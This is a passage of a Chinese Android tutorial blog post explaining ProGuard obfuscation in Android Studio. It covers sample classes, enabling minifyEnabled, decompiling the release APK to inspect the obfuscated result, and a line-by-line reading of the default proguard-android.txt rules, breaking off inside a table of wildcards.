	本篇文章中介绍的混淆技术都是基于Android Studio的，Eclipse的用法也基本类似，但是就不再为Eclipse专门做讲解了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
我们要建立一个Android Studio项目，并在项目中添加一些能够帮助我们理解混淆知识的代码。这里我准备好了一些，我们将它们添加到Android Studio当中。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
首先新建一个MyFragment类，代码如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">public class MyFragment extends Fragment { private String toastTip = "toast in MyFragment"; @Nullable @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
        View view = inflater.inflate(R.layout.fragment_layout, container, false);
        methodWithGlobalVariable();
        methodWithLocalVariable(); return view;
    } public void methodWithGlobalVariable() {
        Toast.makeText(getActivity(), toastTip, Toast.LENGTH_SHORT).show();
    } public void methodWithLocalVariable() {
        String logMessage = "log in MyFragment";
        logMessage = logMessage.toLowerCase();
        System.out.println(logMessage);
    }

}
</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	可以看到，MyFragment是继承自Fragment的，并且MyFragment中有一个全局变量。onCreateView()方法是Fragment的生命周期函数，这个不用多说，在onCreateView()方法中又调用了methodWithGlobalVariable()和methodWithLocalVariable()方法，这两个方法的内部分别引用了一个全局变量和一个局部变量。&nbsp;
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	接下来新建一个Utils类，代码如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">public class Utils { public void methodNormal() {
        String logMessage = "this is normal method";
        logMessage = logMessage.toLowerCase();
        System.out.println(logMessage);
    } public void methodUnused() {
        String logMessage = "this is unused method";
        logMessage = logMessage.toLowerCase();
        System.out.println(logMessage);
    }

}</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	这是一个非常普通的工具类，没有任何继承关系。Utils中有两个方法methodNormal()和methodUnused()，它们的内部逻辑都是一样的，唯一的据别是稍后methodNormal()方法会被调用，而methodUnused()方法不会被调用。&nbsp;
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	下面再新建一个NativeUtils类，代码如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">public class NativeUtils { public static native void methodNative(); public static void methodNotNative() {
        String logMessage = "this is not native method";
        logMessage = logMessage.toLowerCase();
        System.out.println(logMessage);
    }

}</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	这个类中同样有两个方法，一个是native方法，一个是非native方法。&nbsp;
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	最后，修改MainActivity中的代码，如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">public class MainActivity extends AppCompatActivity { private String toastTip = "toast in MainActivity"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        getSupportFragmentManager().beginTransaction().add(R.id.fragment, new MyFragment()).commit();
        Button button = (Button) findViewById(R.id.button);
        button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) {
                methodWithGlobalVariable();
                methodWithLocalVariable();
                Utils utils = new Utils();
                utils.methodNormal();
                NativeUtils.methodNative();
                NativeUtils.methodNotNative();
                Connector.getDatabase();
            }
        });
    } public void methodWithGlobalVariable() {
        Toast.makeText(MainActivity.this, toastTip, Toast.LENGTH_SHORT).show();
    } public void methodWithLocalVariable() {
        String logMessage = "log in MainActivity";
        logMessage = logMessage.toLowerCase();
        System.out.println(logMessage);
    }

}</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	可以看到，MainActivity和MyFragment类似，也是定义了methodWithGlobalVariable()和methodWithLocalVariable()这两个方法，然后MainActivity对MyFragment进行了添加，并在Button的点击事件里面调用了自身的、Utils的、以及NativeUtils中的方法。注意调用native方法需要有相应的so库实现，不然的话就会报UnsatisefiedLinkError，不过这里其实我也并没有真正的so库实现，只是演示一下让大家看看混淆结果。点击事件的最后一行调用的是LitePal中的方法，因为我们还要测试一下引用第三方Jar包的场景，到<a href="https://github.com/LitePalFramework/LitePal" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">LitePal项目的主页</a>去下载最新的Jar包，然后放到libs目录下即可。&nbsp;
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	完整的build.gradle内容如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">apply plugin: 'com.android.application' android {
    compileSdkVersion 23 buildToolsVersion "23.0.2" defaultConfig {
        applicationId "com.example.guolin.androidtest" minSdkVersion 15 targetSdkVersion 23 versionCode 1 versionName "1.0" }
    buildTypes {
        release {
            minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' }
    }
}

dependencies {
    compile fileTree(dir: 'libs', include: ['*.jar'])
    compile 'com.android.support:appcompat-v7:23.2.0' }</pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	好的，到这里准备工作就已经基本完成了，接下来我们就开始对代码进行混淆吧。
</p>
<h2 id="混淆apk" style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:24px;color:#4F4F4F;line-height:32px;word-break:break-all;">
	<a name="t1"></a>混淆APK
</h2>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	在Android Studio当中混淆APK实在是太简单了，借助SDK中自带的Proguard工具，只需要修改build.gradle中的一行配置即可。可以看到，现在build.gradle中minifyEnabled的值是false，这里我们只需要把值改成true，打出来的APK包就会是混淆过的了。如下所示：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<br />
</p>
<pre class="prettyprint lang-js linenums">release {
    minifyEnabled true proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' }
 </pre>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	其中minifyEnabled用于设置是否启用混淆，proguardFiles用于选定混淆配置文件。注意这里是在release闭包内进行配置的，因此只有打出正式版的APK才会进行混淆，Debug版的APK是不会混淆的。当然这也是非常合理的，因为Debug版的APK文件我们只会用来内部测试，不用担心被人破解。&nbsp;
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	那么现在我们来打一个正式版的APK文件，在Android Studio导航栏中点击Build-&gt;Generate Signed APK，然后选择签名文件并输入密码，如果没有签名文件就创建一个，最终点击Finish完成打包，生成的APK文件会自动存放在app目录下。除此之外也可以在build.gradle文件当中添加签名文件配置，然后通过gradlew assembleRelease来打出一个正式版的APK文件，这种方式APK文件会自动存放在app/build/outputs/apk目录下。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
那么现在已经得到了APK文件，接下来就用上篇文章中学到的反编译知识来对这个文件进行反编译吧，结果如下图所示：
</p>
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160307204433418" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
很明显可以看出，我们的代码混淆功能已经生效了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
下面我们尝试来阅读一下这个混淆过后的代码，最顶层的包名结构主要分为三部分，第一个a.a已经被混淆的面目全非了，但是可以猜测出这个包下是LitePal的所有代码。第二个android.support可以猜测出是我们引用的android support库的代码，第三个com.example.guolin.androidtest则很明显就是我们项目的主包名了，下面将里面所有的类一个个打开看一下。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
首先MainActivity中的代码如下所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160307210746838" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
可以看到，MainActivity的类名是没有混淆的，onCreate()方法也没有被混淆，但是我们定义的方法、全局变量、局部变量都被混淆了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
再来打开下一个类NativeUtils，如下所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160307211556583" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
NativeUtils的类名没有被混淆，其中声明成native的方法也没有被混淆，但是非native方法的方法名和局部变量都被混淆了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
接下来是a类的代码，如下所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160307211929322" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
很明显，这个是MainActivity中按钮点击事件的匿名类，在onClick()方法中的调用代码虽然都被混淆了，但是调用顺序是不会改变的，对照源代码就可以看出哪一行是调用的什么方法了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
再接下来是b类，代码如下所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160307212322827" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
虽然被混淆的很严重，但是我们还是可以看出这个是MyFragment类。其中所有的方法名、全局变量、局部变量都被混淆了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
最后再来看下c类，代码如下所示：&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<center style="box-sizing:border-box;outline:0px;word-break:break-all;">
	<img src="https://img-blog.csdn.net/20160307212639769" alt="" title="" style="box-sizing:border-box;outline:0px;margin:24px 0px;max-width:100%;word-break:break-all;cursor:zoom-in;" /> 
</center>
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
c类中只有一个a方法，从字符串的内容我们可以看出，这个是Utils类中的methodNormal()方法。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
我为什么要创建这样的一个项目呢？因为从这几个类当中很能看出一些问题，接下来我们就分析一下上面的混淆结果。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
首先像Utils这样的普通类肯定是会被混淆的，不管是类名、方法名还是变量都不会放过。除了混淆之外Utils类还说明了一个问题，就是minifyEnabled会对资源进行压缩，因为Utils类中我们明明定义了两个方法，但是反编译之后就只剩一个方法了，因为另外一个方法没有被调用，所以认为是多余的代码，在打包的时候就给移除掉了。不仅仅是代码，没有被调用的资源同样也会被移除掉，因此minifyEnabled除了混淆代码之外，还可以起到压缩APK包的作用。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
接着看一下MyFragment，这个类也是混淆的比较彻底的，基本没有任何保留。那有些朋友可能会有疑问，Fragment怎么说也算是系统组件吧，就算普通方法名被混淆了，至少像onCreateView()这样的生命周期方法不应该被混淆吧？其实生命周期方法会不会被混淆和我们使用Fragment的方式有关，比如在本项目中，我使用的是android.support.v4.app.Fragment，support-v4包下的，就连Fragment的源码都被一起混淆了，因此生命周期方法当然也不例外了。但如果你使用的是android.app.Fragment，这就是调用手机系统中预编译好的代码了，很明显我们的混淆无法影响到系统内置的代码，因此这种情况下onCreateView()方法名就不会被混淆，但其它的方法以及变量仍然会被混淆。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
接下来看一下MainActivity，同样也是系统组件之一，但MainActivity的保留程度就比MyFragment好多了，至少像类名、生命周期方法名都没有被混淆，这是为什么呢？根据我亲身测试得出结论，凡是需要在AndroidManifest.xml中去注册的所有类的类名以及从父类重写的方法名都自动不会被混淆。因此，除了Activity之外，这份规则同样也适用于Service、BroadcastReceiver和ContentProvider。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
最后看一下NativeUtils类，这个类的类名也没有被混淆，这是由于它有一个声明成native的方法。只要一个类中有存在native方法，它的类名就不会被混淆，native方法的方法名也不会被混淆，因为C++代码要通过包名+类名+方法名来进行交互。 但是类中的别的代码还是会被混淆的。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
除此之外，第三方的Jar包都是会被混淆的，LitePal不管是包名还是类名还是方法名都被完完全全混淆掉了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
这些就是Android Studio打正式APK时默认的混淆规则。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
那么这些混淆规则是在哪里定义的呢？其实就是刚才在build.gradle的release闭包下配置的proguard-android.txt文件，这个文件存放于&lt;Android SDK&gt;/tools/proguard目录下，我们打开来看一下：
<p>
	<br />
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;"> </span> 
</p>
<pre class="prettyprint lang-js linenums"># This is a configuration file for ProGuard. # http://proguard.sourceforge.net/index.html#manual/usage.html -dontusemixedcaseclassnames
-dontskipnonpubliclibraryclasses
-verbose # Optimization is turned off by default. Dex does not like code run # through the ProGuard optimize and preverify steps (and performs some # of these optimizations on its own). -dontoptimize
-dontpreverify # Note that if you want to enable optimization, you cannot just # include optimization flags in your own project configuration file; # instead you will need to point to the # "proguard-android-optimize.txt" file instead of this one from your # project.properties file. -keepattributes *Annotation*
-keep public class com.google.vending.licensing.ILicensingService
-keep public class com.android.vending.licensing.ILicensingService

# For native methods, see http://proguard.sourceforge.net/manual/examples.html#native
-keepclasseswithmembernames class * {
    native &lt;methods&gt;;
} # keep setters in Views so that animations can still work. # see http://proguard.sourceforge.net/manual/examples.html#beans -keepclassmembers public class * extends android.view.View { void set*(***);
   *** get*();
} # We want to keep methods in Activity that could be used in the XML attribute onClick -keepclassmembers class * extends android.app.Activity { public void *(android.view.View);
} # For enumeration classes, see http://proguard.sourceforge.net/manual/examples.html#enumerations -keepclassmembers enum * { public static **[] values(); public static ** valueOf(java.lang.String);
}

-keepclassmembers class * implements android.os.Parcelable { public static final android.os.Parcelable$Creator CREATOR;
}

-keepclassmembers class **.R$* { public static &lt;fields&gt;;
} # The support library contains references to newer platform versions. # Dont warn about those in case this app is linking against an older # platform version.  We know about them, and they are safe. -dontwarn android.support.**
 </pre>
<br />
<p>
	<br />
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;">这个就是默认的混淆配置文件了，我们来一起逐行阅读一下。&nbsp;</span> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;font-size:14px;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">-dontusemixedcaseclassnames</code>&nbsp;表示混淆时不使用大小写混合类名。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;font-size:14px;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">-dontskipnonpubliclibraryclasses</code>&nbsp;表示不跳过library中的非public的类。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;font-size:14px;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">-verbose</code>&nbsp;表示打印混淆的详细信息。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;font-size:14px;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">-dontoptimize</code>&nbsp;表示不进行优化，建议使用此选项，因为根据proguard-android-optimize.txt中的描述，优化可能会造成一些潜在风险，不能保证在所有版本的Dalvik上都正常运行。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;font-size:14px;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">-dontpreverify</code>&nbsp;表示不进行预校验。这个预校验是作用在Java平台上的，Android平台上不需要这项功能，去掉之后还可以加快混淆速度。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;font-size:14px;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">-keepattributes *Annotation*</code>&nbsp;<span style="background-color:;">表示对注解中的参数进行保留</span>。
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
<pre class="prettyprint lang-js linenums">-keep public class com.google.vending.licensing.ILicensingService -keep public class com.android.vending.licensing.ILicensingService

表示不混淆上述声明的两个类，这两个类我们基本也用不上，是接入Google原生的一些服务时使用的。

-keepclasseswithmembernames class * {  native &lt;methods&gt;;
}


 
表示不混淆任何包含native方法的类的类名以及native方法名，这个和我们刚才验证的结果是一致的。

-keepclassmembers public class * extends android.view.View { void set*(***);
   *** get*();
}

表示不混淆任何一个View中的setXxx()和getXxx()方法，因为属性动画需要有相应的setter和getter的方法实现，混淆了就无法工作了。

-keepclassmembers class * extends android.app.Activity { public void *(android.view.View);
}


 
表示不混淆Activity中参数是View的方法，因为有这样一种用法，在XML中配置android:onClick=”buttonClick”属性，当用户点击该按钮时就会调用Activity中的buttonClick(View view)方法，如果这个方法被混淆的话就找不到了。

-keepclassmembers enum * { public static **[] values(); public static ** valueOf(java.lang.String);
}

表示不混淆枚举中的values()和valueOf()方法，枚举我用的非常少，这个就不评论了。


-keepclassmembers enum * { public static **[] values(); public static ** valueOf(java.lang.String);
}

表示不混淆Parcelable实现类中的CREATOR字段，毫无疑问，CREATOR字段是绝对不能改变的，包括大小写都不能变，不然整个Parcelable工作机制都会失败。


-keepclassmembers class **.R$* {  public static &lt;fields&gt;;
}</pre>
</p>
<p>
	<br />
</p>
<p>
	<span style="color:#4F4F4F;font-size:16px;text-align:justify;">表示不混淆R文件中的所有静态字段，我们都知道R文件是通过字段来记录每个资源的id的，字段名要是被混淆了，id也就找不着了。&nbsp;</span> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	<code style="box-sizing:border-box;outline:0px;font-family:Consolas, Inconsolata, Courier, monospace;font-size:14px;line-height:22px;color:#C7254E;background-color:#F9F2F4;border-radius:2px;padding:4px 2px 0px;word-break:break-all;">-dontwarn android.support.**</code>&nbsp;表示对android.support包下的代码不警告，因为support包中有很多代码都是在高版本中使用的，如果我们的项目指定的版本比较低在打包时就会给予警告。不过support包中所有的代码都在版本兼容性上做足了判断，因此不用担心代码会出问题，所以直接忽略警告就可以了。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
好了，这就是proguard-android.txt文件中所有默认的配置，而我们混淆代码也是按照这些配置的规则来进行混淆的。经过我上面的讲解之后，相信大家对这些配置的内容基本都能理解了。不过proguard语法中还真有几处非常难理解的地方，我自己也是研究了好久才搞明白，下面和大家分享一下这些难懂的语法部分。&nbsp;<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
proguard中一共有三组六个keep关键字，很多人搞不清楚它们的区别，这里我们通过一个表格来直观地看下：
</p>
<table style="box-sizing:border-box;outline:0px;border-spacing:0px;width:851.818px;text-align:center;margin-bottom:24px;word-break:break-all;">
	<thead style="box-sizing:border-box;outline:0px;word-break:break-all;">
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;word-break:break-all;">
			<th style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;background-color:#EFF3F5;">
				关键字
			</th>
			<th style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;background-color:#EFF3F5;">
				描述
			</th>
		</tr>
	</thead>
	<tbody style="box-sizing:border-box;outline:0px;border:0px;word-break:break-all;">
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				keep
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				保留类和类中的成员，防止它们被混淆或移除。
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;background-color:#F7F7F7;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				keepnames
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				保留类和类中的成员，防止它们被混淆，但当成员没有被引用时会被移除。
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				keepclassmembers
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				只保留类中的成员，防止它们被混淆或移除。
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;background-color:#F7F7F7;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				keepclassmembernames
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				只保留类中的成员，防止它们被混淆，但当成员没有被引用时会被移除。
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				keepclasseswithmembers
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				保留类和类中的成员，防止它们被混淆或移除，前提是指名的类中的成员必须存在，如果不存在则还是会混淆。
			</td>
		</tr>
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;background-color:#F7F7F7;word-break:break-all;">
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				keepclasseswithmembernames
			</td>
			<td style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;">
				保留类和类中的成员，防止它们被混淆，但当成员没有被引用时会被移除，前提是指名的类中的成员必须存在，如果不存在则还是会混淆。
			</td>
		</tr>
	</tbody>
</table>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;">
	除此之外，proguard中的通配符也比较让人难懂，proguard-android.txt中就使用到了很多通配符，我们来看一下它们之间的区别：
</p>
<table style="box-sizing:border-box;outline:0px;border-spacing:0px;width:851.818px;text-align:center;margin-bottom:24px;word-break:break-all;">
	<thead style="box-sizing:border-box;outline:0px;word-break:break-all;">
		<tr style="box-sizing:border-box;outline:0px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;border-left-style:initial;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:#DDDDDD;word-break:break-all;">
			<th style="box-sizing:border-box;outline:0px;padding:8px;margin:0px;text-align:left;word-break:normal;font-size:14px;color:#4F4F4F;line-height:22px;border:1px solid #DDDDDD;word-wrap:break-word;vertical-align:middle;background-color:#EFF3F5;">
